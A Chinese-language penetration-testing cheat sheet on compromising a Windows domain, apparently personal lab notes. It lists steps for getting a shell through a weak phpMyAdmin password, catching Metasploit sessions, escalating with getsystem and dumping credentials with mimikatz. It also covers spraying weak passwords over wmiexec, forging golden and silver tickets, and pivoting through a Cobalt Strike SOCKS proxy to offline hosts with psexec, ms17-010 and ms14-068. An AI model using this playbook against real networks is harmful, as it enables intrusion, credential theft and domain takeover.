前言
在渗透测试的过程中，拿下域内一台主机以后，有时候内网的其他主机有网，有时候没网，此时，如果有网我们就按常规的渗透测试即可，如果没网我们就应该以该主机作为跳板，使用socks协议或其他办法，从而实现与无网的主机进行通信
域内主机有网
攻击流程
通过域环境webserver主机的外网WEB服务开启到域控权限的获取
假如已经获取webserver权限：
0x01:
- 通过phpmyadmin弱口令getshell
0x02:
- msf生成 msf监听 getsystem upload ‘/root/x64’ c:\test mimikatz
privilege::debug sekurlsa::logonpasswords
0x03:
- 批处理wmicexec测试弱口令 29 31 32 IP存在
0x04：
- 获取29 31 32权限 反弹msf getsystem
0x05
- 批处理wmicexec测试弱口令 21中标
- execute -f cmd.exe -H -i 0x06
- 导出所有hash 进行黄金白银票据
域内主机无网
Msf
- 拿下weserver，发现有两个网段，192.168.3.31 192.168.230.131
假设192.168.230.131为外网，192.168.3.31为内网 - 又发现内网其他主机都没有联网，只有webserver联网了。
- 此时，可以用webserver作为跳板，用cs开启socks，并用msf
操作流程
#cobalt strike
- 启动，监听，生成，上线，提权
- cs启动sockt4 生成监听端口跳板，将setg Proxies
- socks4:192.168.230.133:xxxxx复制到msf
msfconsole
- 加载代理：setg Proxies socks4:192.168.230.133:xxxxx
- 攻击模块：ms17010 ms14068 smb psexec等
- use exploit/windows/smb/psexec
#自己绑定自己，就实现了无网探针
- set payload bind_tcp
- set smbuser administrator
- set smbpass admin!@#45
- 上传mimikatz：upload ‘/root/x64’ c:\test
- mimikatz privilege::debug sekurlsa::logonpasswords